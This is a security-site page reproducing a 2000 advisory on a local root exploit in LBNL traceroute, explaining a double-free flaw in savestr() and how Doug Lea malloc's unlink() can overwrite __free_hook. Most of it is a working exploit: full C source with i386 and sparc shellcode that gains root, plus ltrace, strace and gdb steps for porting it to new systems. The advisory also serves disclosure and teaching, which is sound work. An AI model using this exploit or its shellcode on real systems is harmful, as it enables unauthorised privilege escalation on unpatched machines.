[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
- read forum
- new topic
- search

- meetings list
- recent additions
- add your info
 top 100 sites
- visit top sites
- sign up now
- members

- add your url
- add domain
- search box
- link to us

- our projects
- free email
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Local root exploit in LBNL traceroute

Title: Local root exploit in LBNL traceroute
Released by: MasterSecuritY
Date: 6th November 2000
Printable version: Click here
---------------[ MasterSecuritY  ]---------------

---------------[ Local root exploit in LBNL traceroute ]----------------

----------[ By Michel "MaXX" Kaempf  ]----------

--[ 0x00 - Table of contents ]------------------------------------------

0x01 - Brief summary

0x02 - The problem

0x03 - Exploiting the problem

0x04 - The exploit

0x05 - Upgrading the exploit

0x06 - Fixes

0x07 - Credits

0x08 - References

--[ 0x01 - Brief summary ]----------------------------------------------

Due to a wrong call to free(), LBNL (Lawrence Berkeley National

Laboratory) traceroute can be exploited by a malicious local user

in order to gain root access to the system. The vulnerability was

discovered by Pekka Savola , first discussed by

Chris Evans  on the security-audit[1] and

bugtraq[2] lists, and finally exploited by Dvorak 

in his post to the bugtraq[3] list.

I was working on the problem when Dvorak released his exploit to the

bugtraq list. However, I decided to continue my own exploit, because

I needed a simple and working exploit on both big and little endian


--[ 0x02 - The problem ]------------------------------------------------

A vulnerable version of traceroute dies with a segmentation violation

when running `traceroute -g 12 -g 42'. When looking closer at the

traceroute sources, the guilty sequence appears to be:


name = savestr("12");




name = savestr("42");



At this point, the segmentation fault occurs. The savestr() function is

"a replacement for strdup() that cuts down on malloc() overhead". How

does savestr() work internally, and why does the second call to free()

end with a segmentation violation?

When savestr("12") is called, a 1024 bytes buffer is allocated thanks

to malloc(). The pointer returned by malloc() will be called p from now

on. The "12" string is then stored at the beginning of this buffer, and

the static pointer strptr is updated in order to point after this null

terminated "12" string (i.e. strptr = p + strlen("12") + 1). savestr()

finally returns the pointer p.

When free() is called for the first time, the 1024 bytes buffer

allocated thanks to malloc() and beginning at the pointer p is freed.

When savestr("42") is called, the "42" string is stored in the

previously freed 1024 bytes buffer, at the position described by the

static pointer strptr (p + strlen("12") + 1). This is already a problem,

but not an exploitable one. savestr() finally returns the pointer (p +

strlen("12") + 1).

When free() is called for the second time, it tries to free the buffer

located at (p + strlen("12") + 1). Unfortunately, this pointer was not

returned by malloc(), and that's why this call to free() dies with a

segmentation fault.

--[ 0x03 - Exploiting the problem ]-------------------------------------

The second call to free() can be exploited. The malloc implementation

used by most Linux systems is Doug Lea's malloc, and works as follows:

- Free and allocated blocks of memory are described by "chunks",

beginning at 8 bytes before the pointer returned to the user by malloc()

or given by the user to free() (called mem in the picture below).

- In the first 4 bytes of a chunk is stored the size of the previous

chunk (called prev_size in the picture below), if allocated.

- In the next 4 bytes is stored the size (in bytes) of the chunk itself

(called size in the picture below), but the PREV_INUSE and IS_MMAPPED

bits of this integer have special meanings.

- Free chunks are stored in circular doubly-linked lists: the 4 bytes

after size contain a forward pointer to the next chunk in the list

(called fd in the picture below), and the next 4 bytes contain a back

pointer to the previous chunk in the list (called bk in the picture



| prev_size |   size   |    fd    |    bk    | ...


^                      ^

chunk                  mem

When running `traceroute -g 123 -g gateway host hell code', where

gateway, host, hell and code are strings which will be described later,

the second call to free(), discussed previously, will look like this:


| prev_size |   size   | '1' | '2' | '3' | '\0' | ...


            ^          ^                        ^

        chunk          p               mem (the pointer given to free())

Fortunately, the four bytes before the pointer given to free() will in

fact *not* be the four bytes of the null terminated string "123", but

the binary IP address corresponding to gateway, because of a calloc()

call in traceroute, between the second savestr() call and the second

free() call. Nice. If this binary IP address is constructed so that the

PREV_INUSE bit is set and the IS_MMAPPED bit is unset, the second call

to free() will look like this:

chunk = mem2chunk(mem);

// equivalent to chunk = mem - 8, or chunk = p - 4 here

if (chunk_is_mmapped(chunk)) {



// will not be executed since IS_MMAPPED is unset

hd = chunk->size;

sz = hd & ~PREV_INUSE;

// PREV_INUSE is discarded when computing the real size of the chunk

next = chunk_at_offset(chunk, sz);

// equivalent to next = chunk + sz

nextsz = chunksize(next);

// equivalent to nextsz = next->size & ~(PREV_INUSE|IS_MMAPPED)

if (!(hd & PREV_INUSE)) {



// will no be executed since PREV_INUSE is set

if (!(inuse_bit_at_offset(next, nextsz))) {

// equivalent to if (!( (next + nextsz)->size & PREV_INUSE )) {



// this block will be executed if the next chunk is built wisely...

// *must* be executed, because it is where the exploit does the trick

So, the next chunk has to be constructed wisely, and will be stored

on the stack, thanks to the host argument given to traceroute. This

host argument should also be padded in order to be aligned on the stack

(processors like sparc always require alignment).

The gateway argument should be chosen so that next points to the host

argument on the stack, and so that PREV_INUSE is set and IS_MMAPPED is

unset. Fortunately, if host is aligned on the stack, IS_MMAPPED will be

unset, and PREV_INUSE can be set since free() discards this bit when

computing the real size of the chunk.

Finally, the hell and code arguments given to traceroute will contain

the shellcode, and should be padded so that hell is aligned on the

stack. Why was the shellcode separated into two parts? Well, read on :-)

Now, how should the host argument be constructed, so that the block

discussed previously will be executed? The host argument will look like



BBBB will contain the prev_size of the next chunk, CCCC the size of the

next chunk, DDDD the fd pointer and EEEE the bk pointer. XXX is used

for padding, because if the argument following the host argument on the

stack (hell) is 4 bytes aligned, host will also be 4 bytes aligned,

thanks to this null terminated string "XXX". Finally, AAAA was added

because these 4 bytes of the stack will be overwritten by free().

If CCCC (next->size) is equal to 0xffffffff, the call to

inuse_bit_at_offset() discussed previously will be equivalent to

(BBBB & PREV_INUSE). This test should fail, and that's why setting

BBBB to (0xffffffff & ~PREV_INUSE) should do the trick. What else?

Well, the DDDD and EEEE bytes, the fd and bk pointers... Once the

inuse_bit_at_offset() test completed, free() runs the following macro:

unlink(next, bck, fwd);

Where unlink() looks like this:

#define unlink(P, BK, FD)                                              \

{                                                                      \

BK = P->bk;                                                    \

FD = P->fd;                                                    \

FD->bk = BK;                                                   \

BK->fd = FD;                                                   \


Wow, thanks to unlink(), a function pointer stored somewhere in the

memory can be overwritten with a pointer to the shellcode... __free_hook

is a nice one (thank you Solar Designer). After unlink(), the next call

to free() should execute the shellcode and lead to root.

The fd and bk pointers should be built carefully. The memory address

given by ((unsigned int *)fd)[3] will be overwritten with the memory

address given by bk, that's why setting fd to (&__free_hook - 12) and bk

to the address of the hell argument on the stack is a good choice. But,

because there is always a but, the memory address given by ((unsigned

int *)bk)[2] (i.e. the bytes 8, 9, 10 and 11 of the shellcode) will also

be overwritten.

That's why the beginning of the shellcode should jump these 4 garbage

bytes. This is easy on i386 architectures, where one byte can be used

for the jump instruction, and one byte for the number of bytes to be

jumped. On sparc processors, 4 bytes are needed for the jump instruction

and the number of 4 bytes blocks to be jumped, and the next 4 bytes

should describe a nop instruction, because of the sparc pipeline. But

the number of 4 bytes blocks to be jumped will contain a null byte,

and that's impossible: the shellcode is a string, and a null byte in a

string corresponds to a string terminator.

The solution? The following exploit divides the shellcode into two

parts, hell and code, so that the null byte terminator of the hell

string can be used as part of the sparc jump instruction. And for

architectures where this null byte is not required, the jump instruction

located in the hell argument will automagically skip the hell null byte


--[ 0x04 - The exploit ]------------------------------------------------


 * MasterSecuritY 


 * traceroot.c - Local root exploit in LBNL traceroute

 * Copyright (C) 2000  Michel "MaXX" Kaempf 


 * Updated versions of this exploit and the corresponding advisory will

 * be made available at:


 * http://maxx.via.ecp.fr/traceroot/


 * This program is free software; you can redistribute it and/or modify

 * it under the terms of the GNU General Public License as published by

 * the Free Software Foundation; either version 2 of the License, or

 * (at your option) any later version.


 * This program is distributed in the hope that it will be useful,

 * but WITHOUT ANY WARRANTY; without even the implied warranty of


 * GNU General Public License for more details.


 * You should have received a copy of the GNU General Public License

 * along with this program; if not, write to the Free Software

 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA






#define PREV_INUSE 0x1

#define IS_MMAPPED 0x2

#define i386_linux \

/* setuid( 0 ); */ \

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \

/* setgid( 0 ); */ \

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \

/* Aleph One :) */ \

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \


#define sparc_linux \

/* setuid( 0 ); */ \

"\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \

/* setgid( 0 ); */ \

"\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \

/* Aleph One :) */ \

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \

"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \


struct arch {

char * description;

char * filename;

unsigned int stack;

char * hell;

char * code;

unsigned int p;

unsigned int __free_hook;


struct arch archlist[] = {


"Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386",


0xc0000000 - 4,







"Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc",


0xf0000000 - 8,


"\x03\x01XXXYYYY" sparc_linux,





void usage( char * string )


int i;

fprintf( stderr, "Usage: %s architecture\n", string );

fprintf( stderr, "Available architectures:\n" );

for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) {

fprintf( stderr, "%i: %s\n", i, archlist[i].description );



int main( int argc, char * argv[] )


char gateway[1337];

char host[1337];

char hell[1337];

char code[1337];

char * execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code, NULL };

int i;

struct arch * arch;

unsigned int hellcode;

unsigned int size;

if ( argc != 2 ) {

usage( argv[0] );

return( -1 );


i = atoi( argv[1] );

if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) {

usage( argv[0] );

return( -1 );


arch = &( archlist[i] );

execve_argv[0] = arch->filename;

strcpy( code, arch->code );

strcpy( hell, arch->hell );

hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) - (strlen(hell) + 1);

for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) {

strcat( code, "X" );


hellcode = hellcode & ~3;


((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;

((unsigned int *)host)[2] = 0xffffffff;

((unsigned int *)host)[3] = arch->__free_hook - 12;

((unsigned int *)host)[4] = hellcode;

size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4);

size = size | PREV_INUSE;




((unsigned char *)(&size))[0],

((unsigned char *)(&size))[1],

((unsigned char *)(&size))[2],

((unsigned char *)(&size))[3]


execve( execve_argv[0], execve_argv, NULL );

return( -1 );


--[ 0x05 - Upgrading the exploit ]--------------------------------------

The exploit was written to easily include new architectures and

operating systems. In order to support new platforms, 7 different

elements are needed:

- description, a string describing the concerned platform. For the

moment, only "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386" and

"Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc" are supported.

- filename, a string containing the full path where the

traceroute binary can be found. On most systems, this will be


- stack, the address where the first argument given to a program (the

program name itself) can be found. On i386 architectures, this is

0xc0000000 - 4, on sparc architectures it is 0xf0000000 - 8.

- hell and code, a special shellcode divided into two parts... see the

discussion above. hell and code are already available for i386 and sparc


- p, the pointer returned to the savestr() function by the malloc(1024)

call. On architectures where ltrace is available, this pointer can be

easily obtained:

% cp /usr/sbin/traceroute /tmp

% ltrace /tmp/traceroute -g 12 -g 42 2>&1 | grep 'malloc(1024)'

malloc(1024)                                      = 0x0804ce38

On architectures were ltrace is not available (like sparc), the whole

thing is trickier: download the traceroute sources, and add the

following line in savestr.c, after the malloc(1024) call:

fprintf( stderr, "debug: strptr == %p;\n", strptr );

Now, compile traceroute, and run it through strace:

% strace ./traceroute -g 12 -g 42

Compute the difference between the pointer returned by the debug message

and the pointer returned by brk(0). Now run the real traceroute through


% cp /usr/sbin/traceroute /tmp

% strace /tmp/traceroot -g 12 -g 42 2>&1 | grep 'brk(0)'

brk(0)                                  = 0x22418

Now add the difference computed before to this pointer, and yes, the

resulting pointer is p.

- __free_hook, the memory address were the __free_hook function pointer

is stored. Use GDB in order to find out the value of this last element:

% cp /usr/sbin/traceroute /tmp

% gdb /tmp/traceroute

(gdb) break exit

(gdb) run

(gdb) p &__free_hook

It is as simple as that. Feel free to send support for new architectures

so that it can be included in the official version of the exploit,

available at:


--[ 0x06 - Fixes ]------------------------------------------------------

Every vendor should already have released a patched version of

traceroute since the vulnerability was published and exploited about a

month ago. But anyway, a fixed version of traceroute is available at:


--[ 0x07 - Credits ]----------------------------------------------------

Without Pekka Savola, Chris Evans, Dvorak and Solar Designer, there

would be no exploit :-) Without VIA, there would be no big endian

exploit. Thank you very much.

--[ 0x08 - References ]-------------------------------------------------





Michel "MaXX" Kaempf

(C) 1999-2000 All rights reserved.